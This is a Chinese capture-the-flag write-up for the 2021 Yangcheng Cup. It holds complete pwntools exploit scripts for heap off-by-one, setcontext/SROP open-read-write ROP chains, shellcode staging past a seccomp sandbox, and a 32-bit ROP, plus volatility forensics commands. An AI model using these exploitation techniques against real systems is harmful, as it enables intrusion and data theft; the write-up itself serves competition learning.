2021·第二届羊城杯WP 前言 还是没能写出很多题,不过对于那些题至少能看的明白,知道大概的思路是什么了…还需继续努力
PWN what you name 保护全开+
沙箱execve
被禁,现在的比赛题就各种ORW
…有点套板子的意思了…
free
函数,没有清空堆块本身的指针,存在地址泄露
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 unsigned __int64 sub_FF2 () { int v1; unsigned __int64 v2; v2 = __readfsqword(0x28 u); if ( (unsigned int )sub_C27(&v1) ) { free (*(void **)(*((_QWORD *)&unk_202188 + 2 * v1) + 8LL )); free (*((void **)&unk_202188 + 2 * v1)); *((_DWORD *)&unk_202180 + 4 * v1) = 0 ; *((_DWORD *)&unk_202184 + 4 * v1) = 0 ; *((_QWORD *)&unk_202188 + 2 * v1) = 0LL ; --dword_20204C; } return __readfsqword(0x28 u) ^ v2; }
查看bin
的时候,发现有个unsorted bin
的堆块,直接add
出来泄露main_arena + 88
,省心
edit
函数里头有off-by-one
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 __int64 __fastcall sub_D0C (int a1, __int64 a2) { __int64 result; int i; unsigned int j; int v5; for ( i = 0 ; i <= 255 ; ++i ) byte_202060[i] = 0 ; v5 = read(0 , byte_202060, a1); for ( j = 0 ; ; ++j ) { *(_BYTE *)((int )j + a2) = byte_202060[j]; result = j; if ( (int )j >= v5 ) break ; } return result; }
解法一:常规ORW 常规off-by-null
制造堆叠
1 2 3 4 5 6 7 add(0xf8 ) add(0xf8 ) add(0xf8 ) delete(3 ) edit(4 ,'b' *0xf0 +p64(0x200 )) delete(5 )
修改free_hook
为setcontext+53
1 2 edit(4 ,p64(0 )+p64(free_hook)[:7 ]) edit(8 ,p64(setcontext)[:7 ])
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 from pwn import *libc = ELF('libc.so.6' ) p = process("./name" ) def choice (a ): p.sendlineafter('5.exit\n' ,str (a)) def add (size ): choice(1 ) p.sendlineafter('size:\n' ,str (size)) def edit (a,b ): choice(2 ) p.sendlineafter('index:\n' ,str (a)) p.sendafter('name:\n' ,b) def show (a ): choice(3 ) p.sendlineafter('index:\n' ,str (a)) def delete (a ): choice(4 ) p.sendlineafter('index:\n' ,str (a)) gdb.attach(p,"b *$rebase(0xFF2)" ) add(0xe8 ) show(0 ) main_arean_xx = u64(p.recv(6 ).ljust(8 ,'\x00' )) print "main_arean_xx:" ,hex (main_arean_xx)libc_base = main_arean_xx - 88 - libc.sym['__malloc_hook' ]-0x10 print "libc_base:" ,hex (libc_base)add(0x28 ) add(0xf8 ) add(0xf8 ) add(0xf8 ) add(0xf8 ) add(0xf8 ) delete(1 ) add(0xf8 ) add(0x28 ) delete(3 ) edit(4 ,'b' *0xf0 +p64(0x200 )) delete(5 ) add(0x48 ) add(0xf8 ) add(0xf8 ) add(0x78 ) show(9 ) heap_addr = u64(p.recv(6 ).ljust(8 ,'\x00' )) print "heap_addr:" ,hex (heap_addr)target_addr = heap_addr - (0x5555557575b0 -0x0000555555758070 ) print "target_addr:" ,hex (target_addr)pop_rdi_ret = libc_base + 0x0000000000021112 pop_rsi_ret = libc_base + 0x00000000000202f8 pop_rdx_ret = libc_base + 0x0000000000001b92 pop_rdx_rsi_ret = libc_base + 0x00000000001151c9 ret = libc_base + 0x0000000000000937 open_addr = libc_base + libc.sym['open' ] read_addr = libc_base + libc.sym['read' ] write_addr = libc_base + libc.sym['write' ] setcontext = libc_base + libc.sym['setcontext' ] + 53 print "setcontext:" ,hex (setcontext)free_hook = libc_base + libc.sym['__free_hook' ] print "free_hook:" ,hex (free_hook)edit(4 ,p64(0 )+p64(free_hook)[:7 ]) edit(8 ,p64(setcontext)[:7 ]) edit(4 ,'./flag\x00\x00' *20 +p64(target_addr)+p64(ret)) flag_addr = heap_addr-(0x5555557575b0 -0x555555757d70 ) orw = p64(pop_rdi_ret) + p64(flag_addr) orw += p64(pop_rsi_ret) + p64(0x0 ) orw += p64(open_addr) orw += p64(pop_rdi_ret) + p64(3 ) orw += p64(pop_rdx_rsi_ret) + p64(0x100 ) + p64(heap_addr+0x440 ) orw += p64(read_addr) orw += p64(pop_rdi_ret) + p64(1 ) orw += p64(pop_rdx_rsi_ret) + p64(0x100 ) + p64(heap_addr+0x400 ) orw += p64(write_addr) edit(1 ,orw) delete(4 ) p.interactive()
解法二:SROP+ORW 基本上没有什么太大变化,只是后面用SROP来读入ORW链到bss
段上
1 2 3 4 5 6 frame = SigreturnFrame() frame.rsp = rop_chain_addr frame.rdi = 0 frame.rsi = rop_chain_addr frame.rdx = 0x100 frame.rip = libc.sym['read' ]
用show
来进行栈迁移
1 2 edit(4 , p64(libc.sym['setcontext' ]+53 ) + p64(libc.bss())) show(7 )
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 from pwn import *context.arch = 'amd64' local= 1 if local: sh = process('./name' ) else : sh = remote('127.0.0.1' ,'9999' ) libc = ELF('./libc.so.6' ) def add (size ): sh.sendlineafter('5.exit\n' , '1' ) sh.sendlineafter('name size:\n' , str (size)) def edit (index, name ): sh.sendlineafter('5.exit\n' , '2' ) sh.sendlineafter('index:\n' , str (index)) sh.sendafter('name:\n' , name) def show (index ): sh.sendlineafter('5.exit\n' , '3' ) sh.sendlineafter('index:\n' , str (index)) def free (index ): sh.sendlineafter('5.exit\n' , '4' ) sh.sendlineafter('index:\n' , str (index)) def _exit (): sh.sendlineafter('5.exit\n' , '5' ) gdb.attach(sh,"b *$rebase(0xF79)" ) pop_rdi_ret_addr = 0x21112 pop_rsi_ret_addr = 0x202f8 pop_rdx_rsi_ret_addr = 0x1151C9 pop_rax_ret_addr = 0x3a738 syscall_ret_addr = 0xbc3f5 add(0x80 ) free(0 ) add(0x80 ) show(0 ) libc.address = u64(sh.recv(6 ).ljust(8 , '\x00' )) - 0x3C4B20 - 312 print (hex (libc.address))add(0x50 ) add(0xf8 ) add(0xf8 ) add(0xf8 ) add(0xf8 ) add(0xf8 ) free(3 ) edit(4 , 'a' *0xf0 + p64(0x200 )) free(5 ) add(0x10 ) add(0xd0 ) add(0x100 ) pop_rdi_ret_addr += libc.address pop_rsi_ret_addr += libc.address pop_rdx_rsi_ret_addr += libc.address pop_rax_ret_addr += libc.address syscall_ret_addr += libc.address rop_chain_addr = libc.bss()+0x200 str_flag_addr = rop_chain_addr + 0x80 flag_addr = libc.bss() + 0x300 rop_chain = p64(pop_rdi_ret_addr) + p64(str_flag_addr) rop_chain += p64(pop_rsi_ret_addr) + p64(0 ) rop_chain += p64(pop_rax_ret_addr) + p64(2 ) rop_chain += p64(syscall_ret_addr) rop_chain += p64(pop_rdi_ret_addr) + p64(3 ) rop_chain += p64(pop_rdx_rsi_ret_addr) + p64(0x50 ) + p64(flag_addr) rop_chain += p64(libc.sym['read' ]) rop_chain += p64(pop_rdi_ret_addr) + p64(flag_addr) rop_chain += p64(libc.sym['puts' ]) print (len (rop_chain))edit(4 , p64(libc.sym['setcontext' ]+53 ) + p64(libc.bss())) frame = SigreturnFrame() frame.rsp = rop_chain_addr frame.rdi = 0 frame.rsi = rop_chain_addr frame.rdx = 0x100 frame.rip = libc.sym['read' ] edit(7 , str (frame)) show(7 ) sh.send(rop_chain+'./flag\x00' ) sh.interactive()
nologin
保护很红呀
程序就两个流程一个是user
,一个是admin
,先来看看user
1 2 3 4 5 6 7 8 9 puts ("======================== users ========================" );puts ("Sorry,you are only allowed to :" );puts ("1. w" );puts ("2. ls" );puts ("3. pwd" );puts ("4. cat" );puts ("5. rename" );puts ("6. quit" );puts ("Now you can input the number and execute it:\n" );
里面就是各种用户态的命令,不过最终都会跳到这,拼接命令最后system
执行,这里执行的是xxx > ./result
,就是把某某文件写入到result
里面去,比赛的时候一直想命令注入,但是这再怎么注入都不可能执行system("/bin/sh")
的…,它只会把执行命令后的结果写入到result
里面去
再来看一些关键的命令,cat
命令,就是cat &s
的内容
input_file_name
里面就是读入文件名,里面可以进行"\00"
截断,至于为什么要截断,往下看
sub_400AC3
里面居然在随机我们的文件名,所以你应该知道为什么要截断了吧
那么我们的目标就是很明确了,就是把s改成我们想要读取的文件,比如flag
,溢出点就在rename
里面,它先把一个变量地址(&v5
)传进去,但是进去之后读取23个字节,人家才int_64
,你就读23字节进去肯定溢出
结果很明显,我们可以cat flag到result里面了
然后去admin
看看,seccomp
里面是沙箱,不截图了,禁用了execve
,然后就有了orw
的想法,并且下面也open
了提示已经很明显了,我太菜了没悟出来,
里面有溢出点,具体偏移要手调,但是这里才0x1D
的大小,明显不够些read
和write
的shellcode
,那就只能调用sys_read
,再读入我们的rw
,可恶啊!学到了!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import *context(os='linux' ,arch='amd64' ) context.log_level=True local = 1 binary = './nologin' port = '11000' if local == 1 : io = process(binary) else : io = remote("192.168.39.184" ,port) io.recvuntil('input>> \n' ) io.sendline('1' ) io.recvuntil('user1>> \n' ) io.sendline('5' ) payload = 'a' *(0x30 -0x19 -0x4 )+'flag' print (payload)io.sendline(payload) io.recvuntil('>> \n' ) io.sendline('4' ) io.recvuntil('input file name:\n' ) io.sendline('\x00' ) io.recvuntil('>> \n' ) io.sendline('6' ) io.recvuntil('input>> \n' ) io.sendline('2' ) io.recvuntil('>password: ' ) jmp_esp=0x00000000004016fb shellcode='mov eax,0;mov edx,200;syscall' payload=asm(shellcode).ljust(0xd ,'a' )+p64(jmp_esp)+asm('mov bx,21;sub rsp,rbx;jmp rsp' ) print (len (payload))io.send(payload) shellcode='mov edx,200;mov rdi,3;mov rax,0;syscall;mov rdi,1;mov rax,1;syscall;' print (len (shellcode))payload='c' *0x30 +asm(shellcode) io.send(payload) io.interactive()
BabyROP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *context.log_level = 'debug' elf = ELF('BabyRop' ) local = 0 binary = 'BabyRop' port = '11000' if local == 1 : io = process(binary) else : io = remote("192.168.39.184" ,port) sh = 0x804c029 put_plt = elf.plt['puts' ] put_got = elf.got['puts' ] sys_got = 0x80491D6 gdb.attach(io) io.sendline('a' *0x28 +'b' *4 +p32(sys_got)+'zyen' +p32(sh)) io.interactive()
misc Baby–forenisc 1 sudo ./volatility_2.6_lin64_standalone -f 1.raw --profile=WinXPSP2x86 cmdscan
其他都扫了一边只有这个有信息,它提示把flag
放到git
上了
1 sudo ./volatility_2.6_lin64_standalone -f 1.raw --profile=WinXPSP2x86 filescan | grep -E 'txt'
把它dump
出来
1 sudo ./volatility_2.6_lin64_standalone -f 1.raw --profile=WinXPSP2x86 dumpfiles -Q 0x00000000020bf6a0 -D ./
放到putty genera
获取一个邮箱,之前说flag
再git
上我们直接github
上搜
文件打开翻一下找到,官方wp
说这是一个微信小程序的文件,本来是需要通过工具进行解包的,但是没想到flag
以base64
的形式写到这里面了…